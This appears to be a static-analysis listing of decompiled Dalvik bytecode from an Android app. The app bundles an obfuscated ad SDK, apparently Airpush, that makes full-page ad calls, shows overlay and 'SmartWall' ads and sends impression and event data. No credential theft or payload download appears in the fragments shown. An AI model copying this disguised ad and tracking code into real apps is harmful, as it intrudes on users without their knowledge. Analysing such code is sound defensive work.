3 | invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V | |
4 | new-instance v1, Lcom/vxjxu/jkhfn1870/NetworkThread; | |
6 | invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity; | |
7 | move-result-object v2 | |
9 | const-string v5, "https://api.airpush.com/fullpage/adcall.php" | |
10 | const-wide/16 v6, 0x0 | |
11 | const/4 v8, 0x1 | |
12 | move-object v3, p0 | |
14 | invoke-direct/range {v1 .. v8}, Lcom/vxjxu/jkhfn1870/NetworkThread;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;Ljava/util/List;Ljava/lang/String;JZ)V | |
15 | new-instance v0, Ljava/lang/Thread; | |
17 | const-string v2, "SmartWall" | |
19 | invoke-direct {v0, v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V |
|
21 | invoke-virtual {v0}, Ljava/lang/Thread;->start()V | |
22 | goto_1e: return-void | |
23 | catch_1f: move-exception v0 | |
24 | goto/16 :goto_1e |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "view" # Landroid/webkit/WebView; | |
1 | .param p2, "progress" # I | |
2 | .prologue | |
4 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$1;->val$activity:Landroid/app/Activity; | |
6 | const-string v1, "loading...." | |
8 | invoke-virtual {v0, v1}, Landroid/app/Activity;->setTitle(Ljava/lang/CharSequence;)V |
|
10 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$1;->val$activity:Landroid/app/Activity; | |
11 | mul-int/lit8 v1, p2, 0x64 | |
13 | invoke-virtual {v0, v1}, Landroid/app/Activity;->setProgress(I)V |
|
14 | const/16 v0, 0x64 | |
15 | if-ne p2, v0, :cond_1b | |
17 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$1;->val$activity:Landroid/app/Activity; | |
19 | invoke-virtual {p1}, Landroid/webkit/WebView;->getUrl()Ljava/lang/String; | |
20 | move-result-object v1 | |
22 | invoke-virtual {v0, v1}, Landroid/app/Activity;->setTitle(Ljava/lang/CharSequence;)V | |
23 | cond_1b: return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$8$1;->val$result:Ljava/lang/Boolean; | |
4 | invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z | |
5 | move-result v0 | |
6 | if-eqz v0, :cond_10 | |
8 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$8$1;->this$1:Lcom/vxjxu/jkhfn1870/AdView$8; | |
10 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/AdView$8;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
12 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$1100(Lcom/vxjxu/jkhfn1870/AdView;)V | |
13 | goto_f: return-void | |
14 | cond_10: | |
15 | const-string v0, "AirplayMraid" | |
17 | const-string v1, "Not able to get mraid." | |
19 | invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
20 | goto/16 :goto_f |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "visibility" # I | |
1 | .prologue | |
3 | invoke-super {p0}, Landroid/widget/FrameLayout;->getVisibility()I | |
4 | move-result v3 | |
5 | if-eq v3, p1, :cond_1c | |
6 | monitor-enter p0 | |
7 | try_start_7: | |
8 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getChildCount()I | |
9 | move-result v1 | |
10 | const/4 v2, 0x0 | |
11 | goto_c: if-ge v2, v1, :cond_18 | |
13 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/AdView;->getChildAt(I)Landroid/view/View; |
|
14 | move-result-object v0 | |
16 | invoke-virtual {v0, p1}, Landroid/view/View;->setVisibility(I)V | |
17 | add-int/lit8 v2, v2, 0x1 | |
18 | goto/16 :goto_c | |
19 | cond_18: | |
20 | invoke-super {p0, p1}, Landroid/widget/FrameLayout;->setVisibility(I)V | |
21 | monitor-exit p0 | |
22 | cond_1c: return-void | |
23 | catchall_1d: move-exception v4 | |
24 | monitor-exit p0 | |
25 | try_end_1f: throw v4 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "view" # Landroid/webkit/WebView; | |
1 | .param p2, "url" # Ljava/lang/String; | |
2 | .prologue | |
4 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->val$loadingListener:Landroid/os/Handler; | |
5 | if-eqz v0, :cond_f | |
7 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->val$loadingListener:Landroid/os/Handler; | |
8 | const/4 v1, 0x0 | |
10 | invoke-virtual {v0, v1}, Landroid/os/Handler;->sendEmptyMessage(I)Z |
|
12 | const-string v0, "Ad loading complete" | |
14 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
15 | cond_f: | |
16 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner; | |
18 | const-string v1, "14" | |
20 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->sendImpression(Ljava/lang/String;)V |
|
22 | sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
23 | if-eqz v0, :cond_1f | |
25 | sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
27 | invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdLoadedListener()V | |
28 | cond_1f: return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "event" # Ljava/lang/String; | |
1 | .prologue | |
2 | monitor-enter p1 | |
3 | try_start_1: | |
4 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->getContext()Landroid/content/Context; | |
5 | move-result-object v1 | |
7 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z | |
8 | move-result v1 | |
9 | if-nez v1, :cond_d | |
10 | monitor-exit p1 | |
11 | goto_c: return-void | |
12 | cond_d: new-instance v0, Ljava/lang/Thread; | |
13 | new-instance v1, Lcom/vxjxu/jkhfn1870/OverlayAd$3; | |
15 | invoke-direct {v1, p0, p1}, Lcom/vxjxu/jkhfn1870/OverlayAd$3;-><init>(Lcom/vxjxu/jkhfn1870/OverlayAd;Ljava/lang/String;)V | |
17 | const-string v2, "overlay_event" | |
19 | invoke-direct {v0, v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V |
|
21 | invoke-virtual {v0}, Ljava/lang/Thread;->start()V | |
22 | monitor-exit p1 | |
23 | goto/16 :goto_c | |
24 | catchall_1e: move-exception v1 | |
25 | monitor-exit p1 | |
26 | try_end_20: throw v1 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$2;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1; | |
4 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
6 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
8 | const-string v1, "storePicture" | |
10 | const-string v2, "Url does not exist." | |
12 | invoke-virtual {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
14 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$2;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1; | |
16 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
18 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
19 | const/4 v1, 0x1 | |
21 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
22 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "player" # Landroid/media/MediaPlayer; | |
1 | .prologue | |
2 | try_start_0: | |
3 | invoke-virtual {p1}, Landroid/media/MediaPlayer;->stop()V | |
5 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient; | |
7 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
9 | const-string v1, "99" | |
11 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
13 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient; | |
15 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
16 | const/4 v1, 0x1 | |
18 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
19 | goto_14: return-void | |
20 | catch_15: move-exception v0 | |
21 | goto/16 :goto_14 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "ad" # Z | |
1 | .prologue | |
3 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences; | |
5 | invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor; | |
6 | move-result-object v0 | |
7 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor; | |
9 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor; | |
11 | const-string v1, "thisSmartWall" | |
13 | invoke-interface {v0, v1, p1}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor; |
|
15 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor; | |
17 | invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
18 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | new-instance v0, Lcom/vxjxu/jkhfn1870/Util$NativeMraid; | |
3 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView$8;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
5 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context; | |
6 | move-result-object v1 | |
8 | invoke-direct {v0, v1, p0}, Lcom/vxjxu/jkhfn1870/Util$NativeMraid;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;)V | |
9 | new-instance v1, Ljava/lang/Thread; | |
11 | const-string v2, "native_mraid" | |
13 | invoke-direct {v1, v0, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V |
|
15 | invoke-virtual {v1}, Ljava/lang/Thread;->start()V | |
16 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "view" # Landroid/webkit/WebView; | |
1 | .param p2, "url" # Ljava/lang/String; | |
2 | .prologue | |
4 | const-string v0, "market://" | |
6 | invoke-virtual {p2, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z |
|
7 | move-result v0 | |
8 | if-eqz v0, :cond_d | |
10 | invoke-virtual {p1, p2}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V | |
11 | const/4 v0, 0x1 | |
12 | goto_c: return v0 | |
13 | cond_d: | |
14 | invoke-super {p0, p1, p2}, Landroid/webkit/WebViewClient;->shouldOverrideUrlLoading(Landroid/webkit/WebView;Ljava/lang/String;)Z | |
15 | move-result v0 | |
16 | goto/16 :goto_c |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "request" # Lorg/apache/http/HttpRequest; | |
1 | .param p2, "context" # Lorg/apache/http/protocol/HttpContext; | |
2 | .prologue | |
4 | const-string v0, "Accept-Encoding" | |
6 | invoke-interface {p1, v0}, Lorg/apache/http/HttpRequest;->containsHeader(Ljava/lang/String;)Z |
|
7 | move-result v0 | |
8 | if-nez v0, :cond_f | |
10 | const-string v0, "Accept-Encoding" | |
12 | const-string v1, "gzip" | |
14 | invoke-interface {p1, v0, v1}, Lorg/apache/http/HttpRequest;->addHeader(Ljava/lang/String;Ljava/lang/String;)V |
|
15 | cond_f: return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "key" # Ljava/lang/String; | |
1 | .annotation system Ldalvik/annotation/Throws; | |
2 | value = { | |
3 | Ljava/lang/NullPointerException;, | |
4 | Lorg/json/JSONException; | |
5 | } | |
6 | .end annotation | |
7 | .prologue | |
8 | const/4 v1, 0x0 | |
10 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject; | |
12 | invoke-virtual {v3, p1}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z | |
13 | move-result v3 | |
14 | if-eqz v3, :cond_20 | |
15 | move-object v0, v1 | |
16 | goto_a: if-eqz v0, :cond_27 | |
18 | invoke-virtual {v0}, Lorg/json/JSONArray;->length()I | |
19 | move-result v3 | |
20 | new-array v1, v3, [S | |
21 | const/4 v2, 0x0 | |
22 | goto_13: array-length v3, v1 | |
23 | if-ge v2, v3, :cond_27 | |
25 | invoke-virtual {v0, v2}, Lorg/json/JSONArray;->getInt(I)I |
|
26 | move-result v3 | |
27 | int-to-short v3, v3 | |
28 | aput-short v3, v1, v2 | |
29 | add-int/lit8 v2, v2, 0x1 | |
30 | goto/16 :goto_13 | |
31 | cond_20: | |
32 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject; | |
34 | invoke-virtual {v3, p1}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray; | |
35 | move-result-object v0 | |
36 | goto/16 :goto_a | |
37 | cond_27: return-object v1 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "msg" # Landroid/os/Message; | |
1 | .prologue | |
2 | iget v0, p1, Landroid/os/Message;->what:I | |
3 | packed-switch v0, :pswitch_data_22 | |
4 | goto_5: return-void | |
5 | pswitch_6: | |
6 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$2;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
7 | const/4 v1, 0x0 | |
9 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setVisibility(I)V |
|
10 | goto/16 :goto_5 | |
11 | pswitch_d: | |
12 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$2;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
13 | const/16 v1, 0x8 | |
15 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setVisibility(I)V |
|
16 | goto/16 :goto_5 | |
17 | pswitch_15: | |
18 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$2;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
19 | const/4 v1, 0x4 | |
21 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setVisibility(I)V |
|
22 | goto/16 :goto_5 | |
23 | pswitch_1c: | |
24 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$2;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
26 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$000(Lcom/vxjxu/jkhfn1870/AdView;)V | |
27 | goto/16 :goto_5 |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation build Landroid/annotation/SuppressLint; | |
1 | value = { | |
2 | "InlinedApi" | |
3 | } | |
4 | .end annotation | |
5 | .prologue | |
6 | sget v0, Landroid/os/Build$VERSION;->SDK_INT:I | |
7 | const/16 v1, 0x8 | |
8 | if-lt v0, v1, :cond_10 | |
10 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->getSettings()Landroid/webkit/WebSettings; | |
11 | move-result-object v0 | |
13 | sget-object v1, Landroid/webkit/WebSettings$PluginState;->ON_DEMAND:Landroid/webkit/WebSettings$PluginState; | |
15 | invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setPluginState(Landroid/webkit/WebSettings$PluginState;)V | |
16 | goto_f: return-void | |
17 | cond_10: | |
18 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->getSettings()Landroid/webkit/WebSettings; | |
19 | move-result-object v0 | |
20 | const/4 v1, 0x1 | |
22 | invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setPluginsEnabled(Z)V |
|
23 | goto/16 :goto_f |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation build Landroid/annotation/SuppressLint; | |
1 | value = { | |
2 | "InlinedApi" | |
3 | } | |
4 | .end annotation | |
5 | .prologue | |
6 | sget v0, Landroid/os/Build$VERSION;->SDK_INT:I | |
7 | const/16 v1, 0x8 | |
8 | if-lt v0, v1, :cond_10 | |
10 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/ImageBanner;->getSettings()Landroid/webkit/WebSettings; | |
11 | move-result-object v0 | |
13 | sget-object v1, Landroid/webkit/WebSettings$PluginState;->ON_DEMAND:Landroid/webkit/WebSettings$PluginState; | |
15 | invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setPluginState(Landroid/webkit/WebSettings$PluginState;)V | |
16 | goto_f: return-void | |
17 | cond_10: | |
18 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/ImageBanner;->getSettings()Landroid/webkit/WebSettings; | |
19 | move-result-object v0 | |
20 | const/4 v1, 0x1 | |
22 | invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setPluginsEnabled(Z)V |
|
23 | goto/16 :goto_f |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "view" # Landroid/webkit/WebView; | |
1 | .param p2, "url" # Ljava/lang/String; | |
2 | .prologue | |
4 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
6 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$100(Lcom/vxjxu/jkhfn1870/OverlayAd;)Z | |
7 | move-result v0 | |
8 | if-eqz v0, :cond_16 | |
10 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
12 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->isShowing()Z | |
13 | move-result v0 | |
14 | if-eqz v0, :cond_16 | |
16 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
18 | invoke-static {v0, p2}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$200(Lcom/vxjxu/jkhfn1870/OverlayAd;Ljava/lang/String;)V | |
19 | goto_15: return-void | |
20 | cond_16: | |
21 | invoke-super {p0, p1, p2}, Landroid/webkit/WebViewClient;->onLoadResource(Landroid/webkit/WebView;Ljava/lang/String;)V | |
22 | goto/16 :goto_15 |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->oldViews:Ljava/util/List; | |
4 | invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator; | |
5 | move-result-object v0 | |
6 | goto_6: | |
7 | invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z | |
8 | move-result v2 | |
9 | if-eqz v2, :cond_16 | |
11 | invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object; | |
12 | move-result-object v1 | |
13 | check-cast v1, Landroid/view/View; | |
15 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->removeView(Landroid/view/View;)V | |
16 | goto/16 :goto_6 | |
17 | cond_16: return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "keepScreenOn" # Z | |
1 | .prologue | |
2 | const/16 v1, 0x80 | |
3 | if-eqz p1, :cond_c | |
5 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->getWindow()Landroid/view/Window; | |
6 | move-result-object v0 | |
8 | invoke-virtual {v0, v1}, Landroid/view/Window;->addFlags(I)V |
|
9 | goto_b: return-void | |
10 | cond_c: | |
11 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->getWindow()Landroid/view/Window; | |
12 | move-result-object v0 | |
14 | invoke-virtual {v0, v1}, Landroid/view/Window;->clearFlags(I)V |
|
15 | goto/16 :goto_b |
Cross References |
APIs |
|
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation system Ldalvik/annotation/Throws; | |
1 | value = { | |
2 | Ljava/lang/NullPointerException;, | |
3 | Ljava/lang/Exception; | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
8 | sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
9 | const-class v2, Lcom/vxjxu/jkhfn1870/SmartWallActivity; | |
11 | invoke-static {v1, v2}, Lcom/vxjxu/jkhfn1870/Util;->isIntentAvailable(Landroid/content/Context;Ljava/lang/Class;)Z | |
12 | move-result v1 | |
13 | if-nez v1, :cond_1f | |
15 | const-string v0, "Required SmartWallActivity not found in Manifest. Please add." | |
17 | const-string v1, "AirplaySDK" | |
19 | invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
21 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V |
|
22 | new-instance v1, Lcom/vxjxu/jkhfn1870/SendIntegrationError; | |
24 | sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
25 | const/16 v3, 0x67 | |
27 | invoke-direct {v1, v2, v3}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;-><init>(Landroid/content/Context;I)V | |
28 | const/4 v1, 0x0 | |
29 | goto_1e: return v1 | |
30 | cond_1f: const/4 v1, 0x1 | |
31 | goto/16 :goto_1e |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
4 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->isSDKEnabled(Landroid/content/Context;)Z | |
5 | move-result v2 | |
6 | if-eqz v2, :cond_18 | |
7 | try_start_8: new-instance v0, Lcom/vxjxu/jkhfn1870/AirPlay$1; | |
9 | invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/AirPlay$1;-><init>(Lcom/vxjxu/jkhfn1870/AirPlay;)V | |
11 | sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
13 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z | |
14 | move-result v2 | |
15 | if-eqz v2, :cond_18 | |
17 | invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V | |
18 | goto_18: return-void | |
19 | catch_19: move-exception v1 | |
21 | const-string v2, "Activitymanager" | |
23 | invoke-virtual {v1}, Ljava/lang/Exception;->toString()Ljava/lang/String; | |
24 | move-result-object v3 | |
26 | invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
27 | goto/16 :goto_18 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iget-boolean v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->isViewable:Z | |
2 | if-eqz v1, :cond_1d | |
4 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getVisibility()I | |
5 | move-result v1 | |
6 | if-nez v1, :cond_1d | |
7 | const/4 v0, 0x1 | |
8 | goto_b: iget-boolean v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewable:Z | |
9 | if-eq v0, v1, :cond_1c | |
11 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->state:Ljava/lang/String; | |
13 | const-string v2, "default" | |
14 | if-ne v1, v2, :cond_1c | |
15 | iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewable:Z | |
16 | iget-boolean v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewable:Z | |
18 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->setViewable(Z)V | |
19 | cond_1c: return-void | |
20 | cond_1d: const/4 v0, 0x0 | |
21 | goto/16 :goto_b |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "mp" # Landroid/media/MediaPlayer; | |
1 | .param p2, "what" # I | |
2 | .param p3, "extra" # I | |
3 | .prologue | |
5 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$2;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient; | |
7 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
9 | const-string v1, "89" | |
11 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
13 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$2;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient; | |
15 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
16 | const/4 v1, 0x1 | |
18 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
19 | const/4 v0, 0x0 | |
20 | return v0 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "context" # Landroid/content/Context; | |
1 | .annotation system Ldalvik/annotation/Throws; | |
2 | value = { | |
3 | Ljava/lang/NullPointerException; | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
8 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
10 | const-string v0, "ad_cache" | |
11 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->AD_CACHING:Ljava/lang/String; | |
13 | const-string v0, "ad_cache" | |
14 | const/4 v1, 0x0 | |
16 | invoke-virtual {p1, v0, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
17 | move-result-object v0 | |
18 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences; | |
19 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | new-instance v0, Lcom/vxjxu/jkhfn1870/Util$NativeMraid; | |
3 | invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity; | |
4 | move-result-object v1 | |
6 | invoke-direct {v0, v1, p0}, Lcom/vxjxu/jkhfn1870/Util$NativeMraid;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;)V | |
7 | new-instance v1, Ljava/lang/Thread; | |
9 | const-string v2, "native" | |
11 | invoke-direct {v1, v0, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V |
|
13 | invoke-virtual {v1}, Ljava/lang/Thread;->start()V | |
14 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "v" # Landroid/view/View; | |
1 | .param p2, "event" # Landroid/view/MotionEvent; | |
2 | .prologue | |
4 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$2;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
